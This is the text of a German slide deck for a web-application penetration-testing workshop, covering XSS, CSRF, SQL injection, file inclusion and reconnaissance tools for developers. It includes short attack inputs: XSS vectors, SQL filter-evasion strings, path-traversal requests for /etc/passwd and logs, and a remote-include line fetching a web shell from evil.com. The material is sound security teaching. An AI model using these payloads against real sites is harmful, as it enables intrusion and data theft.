246

Click here to load reader

Wsd pentesting workshop

Embed Size (px)

Citation preview

Page 1: Wsd pentesting workshop

Johann-Peter Hartmann & Marco Kaiser

Live-Hacking & Penetration Testing

Page 2: Wsd pentesting workshop

Johann-Peter Hartmann

» CTO der Mayflower GmbH» Entwickler und Consultant» Gründer SektionEins GmbH» Security ist Steckenpferd seit 1994

2

Page 3: Wsd pentesting workshop

Wer seid Ihr ?

3

Page 4: Wsd pentesting workshop

Wer seid Ihr ?

» Wieviele von Euch denken security aware zu sein?

3

Page 5: Wsd pentesting workshop

Wer seid Ihr ?

» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS?

3

Page 6: Wsd pentesting workshop

Wer seid Ihr ?

» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? » Wer kennt CSRF?

3

Page 7: Wsd pentesting workshop

Wer seid Ihr ?

» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? » Wer kennt CSRF?» Wer kennt SQL Injections?

3

Page 8: Wsd pentesting workshop

Wer seid Ihr ?

» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? » Wer kennt CSRF?» Wer kennt SQL Injections?

3

Page 9: Wsd pentesting workshop

Wer seid Ihr ?

» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? » Wer kennt CSRF?» Wer kennt SQL Injections?

» Was erwartet ihr von diesem Workshop?

3

Page 10: Wsd pentesting workshop

Wer seid Ihr ?

» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? » Wer kennt CSRF?» Wer kennt SQL Injections?

» Was erwartet ihr von diesem Workshop?

3

Page 11: Wsd pentesting workshop

Wer seid Ihr ?

» Wieviele von Euch denken security aware zu sein?» Wer kennt XSS? » Wer kennt CSRF?» Wer kennt SQL Injections?

» Was erwartet ihr von diesem Workshop?

» Oh, sorry, daran haben wir nicht gedacht.

3

Page 12: Wsd pentesting workshop

Agenda

4

Page 13: Wsd pentesting workshop

Agenda

» Grundlagen

4

Page 14: Wsd pentesting workshop

Agenda

» Grundlagen» Motivation Pentesting

4

Page 15: Wsd pentesting workshop

Agenda

» Grundlagen» Motivation Pentesting» Information Gathering

4

Page 16: Wsd pentesting workshop

Agenda

» Grundlagen» Motivation Pentesting» Information Gathering» Pentesting

4

Page 17: Wsd pentesting workshop

Agenda

» Grundlagen» Motivation Pentesting» Information Gathering» Pentesting» Hands on

4

Page 18: Wsd pentesting workshop

Grundlagen, Schutzmaßnahmen und Workarounds

5

Page 19: Wsd pentesting workshop

Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF

5

Page 20: Wsd pentesting workshop

Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF» SQL Injections

5

Page 21: Wsd pentesting workshop

Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF» SQL Injections» Shell Execution

5

Page 22: Wsd pentesting workshop

Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF» SQL Injections» Shell Execution» DoS

5

Page 23: Wsd pentesting workshop

Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF» SQL Injections» Shell Execution» DoS» File Uploads

5

Page 24: Wsd pentesting workshop

Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF» SQL Injections» Shell Execution» DoS» File Uploads » Local File Inclusions

5

Page 25: Wsd pentesting workshop

Grundlagen, Schutzmaßnahmen und Workarounds

» XSS, CSRF» SQL Injections» Shell Execution» DoS» File Uploads » Local File Inclusions» Information Disclosure

5

Page 26: Wsd pentesting workshop

Warum noch einmal die Grundlagen?

6

Page 27: Wsd pentesting workshop

Warum noch einmal die Grundlagen?

» Pentesting ist » bekannte Lücken finden» fehlende Sicherheitsmaßnahmen entdecken» Fehler in den Sicherheitsmaßnahmen finden

6

Page 28: Wsd pentesting workshop

Warum noch einmal die Grundlagen?

» Pentesting ist » bekannte Lücken finden» fehlende Sicherheitsmaßnahmen entdecken» Fehler in den Sicherheitsmaßnahmen finden

» Proportional zur Education» bekannte Lücken unwahrscheinlich» fehlende Sicherheitsmaßnahmen selten» Fehler in Sicherheitsmaßnahmen oft

6

Page 29: Wsd pentesting workshop

Warum noch einmal die Grundlagen?

» Pentesting ist » bekannte Lücken finden» fehlende Sicherheitsmaßnahmen entdecken» Fehler in den Sicherheitsmaßnahmen finden

» Proportional zur Education» bekannte Lücken unwahrscheinlich» fehlende Sicherheitsmaßnahmen selten» Fehler in Sicherheitsmaßnahmen oft

» Es geht also um die entdeckbaren Fehler

6

Page 30: Wsd pentesting workshop

XSS - ein bischen Theorie

7

Page 31: Wsd pentesting workshop

XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz

7

Page 32: Wsd pentesting workshop

XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz» Tag-Filterung

7

Page 33: Wsd pentesting workshop

XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz» Tag-Filterung» Blacklisting

7

Page 34: Wsd pentesting workshop

XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz» Tag-Filterung» Blacklisting

» Löschen erkannter XSS

7

Page 35: Wsd pentesting workshop

XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz» Tag-Filterung» Blacklisting

» Löschen erkannter XSS » Validierung

7

Page 36: Wsd pentesting workshop

XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz» Tag-Filterung» Blacklisting

» Löschen erkannter XSS » Validierung» globales Escaping

7

Page 37: Wsd pentesting workshop

XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz» Tag-Filterung» Blacklisting

» Löschen erkannter XSS » Validierung» globales Escaping» Escaping

7

Page 38: Wsd pentesting workshop

XSS - ein bischen Theorie

» Typische Methoden zum XSS-Schutz» Tag-Filterung» Blacklisting

» Löschen erkannter XSS » Validierung» globales Escaping» Escaping

» ... und warum /index.jsp?id=<script> kein XSS-Test ist

7

Page 39: Wsd pentesting workshop

Javascript wird ausgeführt in ...

8

Page 40: Wsd pentesting workshop

Javascript wird ausgeführt in ...

» <script>-Tags

8

Page 41: Wsd pentesting workshop

Javascript wird ausgeführt in ...

» <script>-Tags» Urls

8

Page 42: Wsd pentesting workshop

Javascript wird ausgeführt in ...

» <script>-Tags» Urls» Event-Handlern

8

Page 43: Wsd pentesting workshop

Javascript wird ausgeführt in ...

» <script>-Tags» Urls» Event-Handlern» Style-Sheets

8

Page 44: Wsd pentesting workshop

Javascript wird ausgeführt in ...

» <script>-Tags» Urls» Event-Handlern» Style-Sheets

» In JavaScript selbst

8

Page 45: Wsd pentesting workshop

Javascript wird ausgeführt in ...

» <script>-Tags» Urls» Event-Handlern» Style-Sheets

» In JavaScript selbst» in Plugins

8

Page 46: Wsd pentesting workshop

XSS in Urls

» <link href=“javascript:...» <img src=“javascript:» <meta http-equiv=“refresh“

content=“0;url=javascript:..» <table background=“javascript:...» <div style=“a:url(javascript:...)“>

» Url-Encoding schützt» Tag-Filterung hilft nicht

9

Page 47: Wsd pentesting workshop

XSS in Scripts

» <script>var search=“mystring“;alert(1);//“

» aus dem JS-Stringkontext in den JS-Kontext ausbrechen

» var number=1;alert(1);

» Stringkontext: korrektes Escaping hilft» Tag-Filterung hilft nicht

10

Page 48: Wsd pentesting workshop

XSS in Tags

» <input value=“12“ onmouseover=“alert(1);“>

» Attribut-Kontext -> Event-JS-Kontext» <a href=“index.htm“ href=“javascript:...» Attribut-Kontext -> Url-Kontext » <a href=“index.htm“ style=“a:expression(..“» Attribut-Kontext -> Style-Kontext» Escaping mit HTML-Entitäten hilft » Tag-Filterung schützt nicht

11

Page 49: Wsd pentesting workshop

XSS in Style-Sheets

» Als Style-Definition: <style>a: expression(alert(1))</style>

» Als Style im Attribut: <a style=“background-color:expression(..

» Ausnutzung des URL-Kontextes: url()» Firefox: Ausnutzung über Behaviors

» Escaping hilft bei Strings » Tag-Filterung hilft nicht

12

Page 50: Wsd pentesting workshop

XSS in HTML

» <script>alert(1)</script>» Wechsel zu Url: <a href=“javascript:...“>» Wechsel zu Event: <a onmouseover=“...“>» Wechsel zu Style: <a style=“a:expression..

» Tag-Filterung hilft » Escaping in HTML-Entitäten hilft

13

Page 51: Wsd pentesting workshop

Codepage-basierte Kontextwechsel

14

Page 52: Wsd pentesting workshop

Codepage-basierte Kontextwechsel

» Jedes Escaping ist abhängig von der Code-Page

14

Page 53: Wsd pentesting workshop

Codepage-basierte Kontextwechsel

» Jedes Escaping ist abhängig von der Code-Page

» Fehlendes Multibyte-Handling kann Escaping boykottierenBeispiel: %C0“ -> %C0\“

14

Page 54: Wsd pentesting workshop

Codepage-basierte Kontextwechsel

» Jedes Escaping ist abhängig von der Code-Page

» Fehlendes Multibyte-Handling kann Escaping boykottierenBeispiel: %C0“ -> %C0\“

» Die Codepage kann forciert werdenUTF-7-Bug in den ersten 1024 Bytes:+ADw-script+AD4-alert(1);+ADw-/script+AD4+

14

Page 55: Wsd pentesting workshop

Fazit: Probleme bei XSS

15

Page 56: Wsd pentesting workshop

Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle

15

Page 57: Wsd pentesting workshop

Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren

15

Page 58: Wsd pentesting workshop

Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren

» HTML-Entititäten

15

Page 59: Wsd pentesting workshop

Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren

» HTML-Entititäten» String-Enkodierung für value=““

15

Page 60: Wsd pentesting workshop

Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren

» HTML-Entititäten» String-Enkodierung für value=““» String-Escaping für JS/CSS-Strings

15

Page 61: Wsd pentesting workshop

Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren

» HTML-Entititäten» String-Enkodierung für value=““» String-Escaping für JS/CSS-Strings» URL-Enkodierung in Links

15

Page 62: Wsd pentesting workshop

Fazit: Probleme bei XSS

» Ein Tagfilter helfen nur in 1/4 aller Fälle» 4 Escaping-Verfahren

» HTML-Entititäten» String-Enkodierung für value=““» String-Escaping für JS/CSS-Strings» URL-Enkodierung in Links

» Escaping hilft nicht bei Non-String-Injections in Javascript/Event-Kontext

15

Page 63: Wsd pentesting workshop

Probleme bei XSS-Blacklists

16

Page 64: Wsd pentesting workshop

Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant

16

Page 65: Wsd pentesting workshop

Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig

16

Page 66: Wsd pentesting workshop

Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig

» Kontext-Wechsel durch Interpretation

16

Page 67: Wsd pentesting workshop

Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig

» Kontext-Wechsel durch Interpretation» Boykottierung des Escapings durch Interpretation

16

Page 68: Wsd pentesting workshop

Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig

» Kontext-Wechsel durch Interpretation» Boykottierung des Escapings durch Interpretation

» Es gibt keine finale Liste dieser „Verbesserungen“

16

Page 69: Wsd pentesting workshop

Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig

» Kontext-Wechsel durch Interpretation» Boykottierung des Escapings durch Interpretation

» Es gibt keine finale Liste dieser „Verbesserungen“

» pro Monat wird etwa eine neue gefunden

16

Page 70: Wsd pentesting workshop

Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig

» Kontext-Wechsel durch Interpretation» Boykottierung des Escapings durch Interpretation

» Es gibt keine finale Liste dieser „Verbesserungen“

» pro Monat wird etwa eine neue gefunden

» Inhalt ist kontextabhängig

16

Page 71: Wsd pentesting workshop

Probleme bei XSS-Blacklists

» Browser nutzen HTML tolerant» fehlerhaftes HTML ist trotzdem gültig

» Kontext-Wechsel durch Interpretation» Boykottierung des Escapings durch Interpretation

» Es gibt keine finale Liste dieser „Verbesserungen“

» pro Monat wird etwa eine neue gefunden

» Inhalt ist kontextabhängig » der gleiche String kann je nach Ausgabeort

neutral oder vergiftet sein

16

Page 72: Wsd pentesting workshop

Probleme bei XSS-Blacklists 2

17

Page 73: Wsd pentesting workshop

Probleme bei XSS-Blacklists 2

» HTML wird extern erweitert

17

Page 74: Wsd pentesting workshop

Probleme bei XSS-Blacklists 2

» HTML wird extern erweitert» Attribute wie dojotype=...

17

Page 75: Wsd pentesting workshop

Probleme bei XSS-Blacklists 2

» HTML wird extern erweitert» Attribute wie dojotype=... » URL-Moniker wie skype: oder tel:

17

Page 76: Wsd pentesting workshop

Probleme bei XSS-Blacklists 2

» HTML wird extern erweitert» Attribute wie dojotype=... » URL-Moniker wie skype: oder tel:» Browser-Plugins wie Greasemonkey

17

Page 77: Wsd pentesting workshop

Probleme bei XSS-Blacklists 2

» HTML wird extern erweitert» Attribute wie dojotype=... » URL-Moniker wie skype: oder tel:» Browser-Plugins wie Greasemonkey» JavaScript-Includes für Adserver

17

Page 78: Wsd pentesting workshop

Probleme bei XSS-Blacklists 2

» HTML wird extern erweitert» Attribute wie dojotype=... » URL-Moniker wie skype: oder tel:» Browser-Plugins wie Greasemonkey» JavaScript-Includes für Adserver

» Blacklists sind immer unvollständig

17

Page 79: Wsd pentesting workshop

Fehlerhafte XSS-Filter

» String-Operationen als Filter» <script>-Tags werden automatisch entfernt» Was ist mit <scr<script>ipt> ? » XSS Cheat Sheet

» http://ha.ckers.org/xss.html

18

Page 80: Wsd pentesting workshop

Externe XSS-Vektoren

19

Page 81: Wsd pentesting workshop

Externe XSS-Vektoren

» RSS

19

Page 82: Wsd pentesting workshop

Externe XSS-Vektoren

» RSS» Web-Services

19

Page 83: Wsd pentesting workshop

Externe XSS-Vektoren

» RSS» Web-Services» CSV

19

Page 84: Wsd pentesting workshop

Externe XSS-Vektoren

» RSS» Web-Services» CSV» Meta-Daten von Medienfiles

19

Page 85: Wsd pentesting workshop

Externe XSS-Vektoren

» RSS» Web-Services» CSV» Meta-Daten von Medienfiles» Papier

19

Page 86: Wsd pentesting workshop

Externe XSS-Vektoren

» RSS» Web-Services» CSV» Meta-Daten von Medienfiles» Papier» Logfiles

19

Page 87: Wsd pentesting workshop

Externe XSS-Vektoren

» RSS» Web-Services» CSV» Meta-Daten von Medienfiles» Papier» Logfiles» Poisoning beim Spidern

19

Page 88: Wsd pentesting workshop

Cross Site Request Forgery

20

Page 89: Wsd pentesting workshop

Cross Site Request Forgery

» Ist wirklich kritisch: wurde vor kurzem für Erpressung über Domain-Transfer genutzt

» Häufigster Schutz: Token-basiert » Ist mit einem XSS zu boykottieren» -> bei vorhandener CSRF-Protection nach

XSS suchen

20

Page 90: Wsd pentesting workshop

Schutzmaßnahmen bei SQL-Injection

» Parameter Binding» Parameter Escaping» Blacklisting

21

Page 91: Wsd pentesting workshop

Angriffe auf Parameter Binding

22

Page 92: Wsd pentesting workshop

Angriffe auf Parameter Binding

» Namen aus externen Quellen

22

Page 93: Wsd pentesting workshop

Angriffe auf Parameter Binding

» Namen aus externen Quellen» Datenbanken

22

Page 94: Wsd pentesting workshop

Angriffe auf Parameter Binding

» Namen aus externen Quellen» Datenbanken» Tabellen

22

Page 95: Wsd pentesting workshop

Angriffe auf Parameter Binding

» Namen aus externen Quellen» Datenbanken» Tabellen» Spalten

22

Page 96: Wsd pentesting workshop

Angriffe auf Parameter Binding

» Namen aus externen Quellen» Datenbanken» Tabellen» Spalten

» SQL-Syntax

22

Page 97: Wsd pentesting workshop

Angriffe auf Parameter Binding

» Namen aus externen Quellen» Datenbanken» Tabellen» Spalten

» SQL-Syntax» Sortierrichtungen

22

Page 98: Wsd pentesting workshop

Angriffe auf Parameter Binding

» Namen aus externen Quellen» Datenbanken» Tabellen» Spalten

» SQL-Syntax» Sortierrichtungen» Operationen

22

Page 99: Wsd pentesting workshop

Parameter Escaping

23

Page 100: Wsd pentesting workshop

Parameter Escaping

» Multi-Byte-Attacken

23

Page 101: Wsd pentesting workshop

Parameter Escaping

» Multi-Byte-Attacken» analog zu Escaping-Multibyte-Attacken

23

Page 102: Wsd pentesting workshop

Parameter Escaping

» Multi-Byte-Attacken» analog zu Escaping-Multibyte-Attacken» alte Datenbank-Versionen

23

Page 103: Wsd pentesting workshop

Parameter Escaping

» Multi-Byte-Attacken» analog zu Escaping-Multibyte-Attacken» alte Datenbank-Versionen» seltsame Codepages

23

Page 104: Wsd pentesting workshop

Parameter Escaping

» Multi-Byte-Attacken» analog zu Escaping-Multibyte-Attacken» alte Datenbank-Versionen» seltsame Codepages

» Fehlendes Escaping von Bezeichnern

23

Page 105: Wsd pentesting workshop

Parameter Escaping

» Multi-Byte-Attacken» analog zu Escaping-Multibyte-Attacken» alte Datenbank-Versionen» seltsame Codepages

» Fehlendes Escaping von Bezeichnern» Fehlendes Whitelisting von SQL-Syntax

23

Page 106: Wsd pentesting workshop

SQL Blacklisting Evasions

24

Page 107: Wsd pentesting workshop

SQL Blacklisting Evasions

» SQL Comment Filter Evasions

24

Page 108: Wsd pentesting workshop

SQL Blacklisting Evasions

» SQL Comment Filter Evasions» mehrzeilige Comments: /* */

24

Page 109: Wsd pentesting workshop

SQL Blacklisting Evasions

» SQL Comment Filter Evasions» mehrzeilige Comments: /* */» einzeilige Comments: -- ,#

24

Page 110: Wsd pentesting workshop

SQL Blacklisting Evasions

» SQL Comment Filter Evasions» mehrzeilige Comments: /* */» einzeilige Comments: -- ,#» können innerhalb von Statements genutzt

werden: u/**/nion

24

Page 111: Wsd pentesting workshop

SQL Blacklisting Evasions

» SQL Comment Filter Evasions» mehrzeilige Comments: /* */» einzeilige Comments: -- ,#» können innerhalb von Statements genutzt

werden: u/**/nion» Umgehen von Escaping mit Funktionen

24

Page 112: Wsd pentesting workshop

SQL Blacklisting Evasions

» SQL Comment Filter Evasions» mehrzeilige Comments: /* */» einzeilige Comments: -- ,#» können innerhalb von Statements genutzt

werden: u/**/nion» Umgehen von Escaping mit Funktionen

» char(65) an Stelle von ‘a‘

24

Page 113: Wsd pentesting workshop

Code / OS Level Executions

25

Page 114: Wsd pentesting workshop

Code / OS Level Executions

» Shell Kommando Escaping» Standardlösung: Escape von

“\#&;}{|*?`<>^()[]» Umgehen mit Multibyte-Attacken» Beispiel: PHP und GBK» UTF-8: (von Shell abhängig, to be done)

25

Page 115: Wsd pentesting workshop

Denial of Service

26

Page 116: Wsd pentesting workshop

Denial of Service

» Schutzmaßnahmen

26

Page 117: Wsd pentesting workshop

Denial of Service

» Schutzmaßnahmen» Infrastruktur / Provider

26

Page 118: Wsd pentesting workshop

Denial of Service

» Schutzmaßnahmen» Infrastruktur / Provider » Webserver

26

Page 119: Wsd pentesting workshop

Denial of Service

» Schutzmaßnahmen» Infrastruktur / Provider » Webserver

» IDS

26

Page 120: Wsd pentesting workshop

Denial of Service

» Schutzmaßnahmen» Infrastruktur / Provider » Webserver

» IDS» Throttling, mod_bandwidth

26

Page 121: Wsd pentesting workshop

Denial of Service

» Schutzmaßnahmen» Infrastruktur / Provider » Webserver

» IDS» Throttling, mod_bandwidth

» Applikationsbasiert

26

Page 122: Wsd pentesting workshop

Denial of Service

» Schutzmaßnahmen» Infrastruktur / Provider » Webserver

» IDS» Throttling, mod_bandwidth

» Applikationsbasiert » z.B. Auto-Logout oder IP-Ban

26

Page 123: Wsd pentesting workshop

Denial of Service

» Schutzmaßnahmen» Infrastruktur / Provider » Webserver

» IDS» Throttling, mod_bandwidth

» Applikationsbasiert » z.B. Auto-Logout oder IP-Ban

» Evasion über teure Operationen

26

Page 124: Wsd pentesting workshop

Denial of Service

» Schutzmaßnahmen» Infrastruktur / Provider » Webserver

» IDS» Throttling, mod_bandwidth

» Applikationsbasiert » z.B. Auto-Logout oder IP-Ban

» Evasion über teure Operationen» z.B. Registration, FriendOfAFriend, Suchen

mit Rechteprüfung

26

Page 125: Wsd pentesting workshop

File Uploads

27

Page 126: Wsd pentesting workshop

File Uploads

» Gefahr von XSS, Code Executions, Content Manipulation

27

Page 127: Wsd pentesting workshop

File Uploads

» Gefahr von XSS, Code Executions, Content Manipulation

» Abwehr: Virtualisierung der Ablage, Virenchecks

27

Page 128: Wsd pentesting workshop

File Uploads

» Gefahr von XSS, Code Executions, Content Manipulation

» Abwehr: Virtualisierung der Ablage, Virenchecks

» Umgehung» Flash-Security: einschmuggeln einer

crossdomain.xml-Alternative » Zip Bombs » Microsofts Filetyperkennung

27

Page 129: Wsd pentesting workshop

Local File Inclusions

» include “const“.$_GET[‘bla‘].“const“;» ?bla=/../../etc/passwd%00» ?bla=/../../var/log/apache/access_log» ?bla=/../../var/log/vsftp.log%00

» include $_GET[‘bla‘] . “const“;» ?bla=data://text/plain;base64,P...» ?bla=php://filter/resource=http://evil.com/

c99.txt

28

Page 130: Wsd pentesting workshop

Information Disclosure

» Geschützt durch korrekte (Fehler-)Ausgaben

» Umgehung» Timing-Attacken (Login: Username existent?)» Artifakte» Content-Disclosure Fehler

29

Page 131: Wsd pentesting workshop

Motivation Pentesting für Entwickler

30

Page 132: Wsd pentesting workshop

Motivation Pentesting für Entwickler

» Know your enemy

30

Page 133: Wsd pentesting workshop

Motivation Pentesting für Entwickler

» Know your enemy » Der Entwickler ist der Hebel für Security

30

Page 134: Wsd pentesting workshop

Motivation Pentesting für Entwickler

» Know your enemy » Der Entwickler ist der Hebel für Security» Risikoanalyse

30

Page 135: Wsd pentesting workshop

Motivation Pentesting für Entwickler

» Know your enemy » Der Entwickler ist der Hebel für Security» Risikoanalyse

» offensichtliche Probleme werden gefunden

30

Page 136: Wsd pentesting workshop

Motivation Pentesting für Entwickler

» Know your enemy » Der Entwickler ist der Hebel für Security» Risikoanalyse

» offensichtliche Probleme werden gefunden» „Oberkante“ des Eigenrisikos wird gefunden

30

Page 137: Wsd pentesting workshop

Motivation Pentesting für Entwickler

» Know your enemy » Der Entwickler ist der Hebel für Security» Risikoanalyse

» offensichtliche Probleme werden gefunden» „Oberkante“ des Eigenrisikos wird gefunden

» Security Awareness

30

Page 138: Wsd pentesting workshop

Motivation Pentesting für Entwickler

» Know your enemy » Der Entwickler ist der Hebel für Security» Risikoanalyse

» offensichtliche Probleme werden gefunden» „Oberkante“ des Eigenrisikos wird gefunden

» Security Awareness » Security ist komplex

30

Page 139: Wsd pentesting workshop

Motivation Pentesting für Entwickler

» Know your enemy » Der Entwickler ist der Hebel für Security» Risikoanalyse

» offensichtliche Probleme werden gefunden» „Oberkante“ des Eigenrisikos wird gefunden

» Security Awareness » Security ist komplex

» Ohne Verständnis der Angreiferseite sind manche Abwehrmaßnahmen nicht möglich

30

Page 140: Wsd pentesting workshop

Information Gathering

31

Page 141: Wsd pentesting workshop

Information Gathering

» Infrastruktur

31

Page 142: Wsd pentesting workshop

Information Gathering

» Infrastruktur» Host

31

Page 143: Wsd pentesting workshop

Information Gathering

» Infrastruktur» Host» Webserver

31

Page 144: Wsd pentesting workshop

Information Gathering

» Infrastruktur» Host» Webserver» Webapplikationen

31

Page 145: Wsd pentesting workshop

Information Gathering - Infrastruktur

32

Page 146: Wsd pentesting workshop

Information Gathering - Infrastruktur

» Welcher Hoster, welcher Netzblock» Sind andere Server in der Nähe, zum Beispiel

SQL-Server? » Staging-Server?

32

Page 147: Wsd pentesting workshop

Information Gathering - Infrastruktur

» Welcher Hoster, welcher Netzblock» Sind andere Server in der Nähe, zum Beispiel

SQL-Server? » Staging-Server?

» Tools» whois, Nmap, BSI OSS Security Suite, fierce

32

Page 148: Wsd pentesting workshop

Information Gathering - Infrastruktur

» Welcher Hoster, welcher Netzblock» Sind andere Server in der Nähe, zum Beispiel

SQL-Server? » Staging-Server?

» Tools» whois, Nmap, BSI OSS Security Suite, fierce

» Fehler in der Infrastruktur » offenen Zone-Listen im DNS, offene

Datenbank-Server etc

32

Page 149: Wsd pentesting workshop

Information Gathering Host

33

Page 150: Wsd pentesting workshop

Information Gathering Host

» Nmap: offene Ports, welche Services

33

Page 151: Wsd pentesting workshop

Information Gathering Host

» Nmap: offene Ports, welche Services» Banner: Welche Versionen?

33

Page 152: Wsd pentesting workshop

Information Gathering Host

» Nmap: offene Ports, welche Services» Banner: Welche Versionen?» HTTPrint

33

Page 153: Wsd pentesting workshop

Information Gathering Host

» Nmap: offene Ports, welche Services» Banner: Welche Versionen?» HTTPrint» Andere Domains auf der gleichen IP

http://myipneighbors.com

33

Page 154: Wsd pentesting workshop

Information Gathering Webserver

34

Page 155: Wsd pentesting workshop

Information Gathering Webserver

» Google Dorks

34

Page 156: Wsd pentesting workshop

Information Gathering Webserver

» Google Dorks » http://johnny.ihackstuff.com/ghdb.php

34

Page 157: Wsd pentesting workshop

Information Gathering Webserver

» Google Dorks » http://johnny.ihackstuff.com/ghdb.php» Goolag Scanner von Cult of the Dead Cow

34

Page 158: Wsd pentesting workshop

Information Gathering Webserver

» Google Dorks » http://johnny.ihackstuff.com/ghdb.php» Goolag Scanner von Cult of the Dead Cow

» Wikto Web Server Scanner

34

Page 159: Wsd pentesting workshop

Information Gathering Webserver

» Google Dorks » http://johnny.ihackstuff.com/ghdb.php» Goolag Scanner von Cult of the Dead Cow

» Wikto Web Server Scanner» OpenSource Perl Scanner mit grosser Library

34

Page 160: Wsd pentesting workshop

Information Gathering Webserver

» Google Dorks » http://johnny.ihackstuff.com/ghdb.php» Goolag Scanner von Cult of the Dead Cow

» Wikto Web Server Scanner» OpenSource Perl Scanner mit grosser Library

» http://www.netcraft.co.uk/

34

Page 161: Wsd pentesting workshop

Information Gathering Webserver

» Google Dorks » http://johnny.ihackstuff.com/ghdb.php» Goolag Scanner von Cult of the Dead Cow

» Wikto Web Server Scanner» OpenSource Perl Scanner mit grosser Library

» http://www.netcraft.co.uk/ » FoundStone SuperScan

34

Page 162: Wsd pentesting workshop

Lifedemo

» myipneighbors.com» Wikto» Goolag Scanner

35

Page 163: Wsd pentesting workshop

Zielhost: Artifakte

36

Page 164: Wsd pentesting workshop

Zielhost: Artifakte

» Transparente Endungen und Artifakte» config.ini» config.ini~» config.ini.bak» config.ini.tmp» config.old» config.orig

36

Page 165: Wsd pentesting workshop

Zielhost: Artifakte

» Transparente Endungen und Artifakte» config.ini» config.ini~» config.ini.bak» config.ini.tmp» config.old» config.orig

» Beispiel: Artifakte von SCM: http://omniti.com/.svn/entries

36

Page 166: Wsd pentesting workshop

Parameter Manipulation

37

Page 167: Wsd pentesting workshop

Parameter Manipulation

» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies

37

Page 168: Wsd pentesting workshop

Parameter Manipulation

» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies

» Andere Manipulationen

37

Page 169: Wsd pentesting workshop

Parameter Manipulation

» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies

» Andere Manipulationen» User-Agent

37

Page 170: Wsd pentesting workshop

Parameter Manipulation

» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies

» Andere Manipulationen» User-Agent» DNS, Hostname vom Client

37

Page 171: Wsd pentesting workshop

Parameter Manipulation

» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies

» Andere Manipulationen» User-Agent» DNS, Hostname vom Client» Bei Default-Domain: HTTP Host-Header

37

Page 172: Wsd pentesting workshop

Parameter Manipulation

» Bekannte Manipulationen: Get-Variablen, Post-Variablen, Cookies

» Andere Manipulationen» User-Agent» DNS, Hostname vom Client» Bei Default-Domain: HTTP Host-Header» Accept-Header: Language, Encoding

37

Page 173: Wsd pentesting workshop

Pentesting Webapplikationen

38

Page 174: Wsd pentesting workshop

Pentesting Webapplikationen

» Tools

38

Page 175: Wsd pentesting workshop

Pentesting Webapplikationen

» Tools» XSS Pentesting

38

Page 176: Wsd pentesting workshop

Pentesting Webapplikationen

» Tools» XSS Pentesting» CSRF Pentesting

38

Page 177: Wsd pentesting workshop

Pentesting Webapplikationen

» Tools» XSS Pentesting» CSRF Pentesting» SQL

38

Page 178: Wsd pentesting workshop

Pentesting Webapplikationen

» Tools» XSS Pentesting» CSRF Pentesting» SQL

» SQL Injection

38

Page 179: Wsd pentesting workshop

Pentesting Webapplikationen

» Tools» XSS Pentesting» CSRF Pentesting» SQL

» SQL Injection» Blind SQL Injection

38

Page 180: Wsd pentesting workshop

Pentesting Webapplikationen

» Tools» XSS Pentesting» CSRF Pentesting» SQL

» SQL Injection» Blind SQL Injection

» Information Disclosure

38

Page 181: Wsd pentesting workshop

Tools zum manuellen Pentesten

39

Page 182: Wsd pentesting workshop

Tools zum manuellen Pentesten

» Browser: Firefox

39

Page 183: Wsd pentesting workshop

Tools zum manuellen Pentesten

» Browser: Firefox » Firefox Plugins

39

Page 184: Wsd pentesting workshop

Tools zum manuellen Pentesten

» Browser: Firefox » Firefox Plugins

» Tamper Data

39

Page 185: Wsd pentesting workshop

Tools zum manuellen Pentesten

» Browser: Firefox » Firefox Plugins

» Tamper Data » Hackbar

39

Page 186: Wsd pentesting workshop

Tools zum manuellen Pentesten

» Browser: Firefox » Firefox Plugins

» Tamper Data » Hackbar» Firebug

39

Page 187: Wsd pentesting workshop

Tools zum manuellen Pentesten

» Browser: Firefox » Firefox Plugins

» Tamper Data » Hackbar» Firebug

» Greasemonkey XSS Assistant

39

Page 188: Wsd pentesting workshop

XSS Pentest

40

Page 189: Wsd pentesting workshop

XSS Pentest

» Typ 0 XSSEinfache Prüfung: wird im JavaScript der Seite location.search oder document.location verwendet?

40

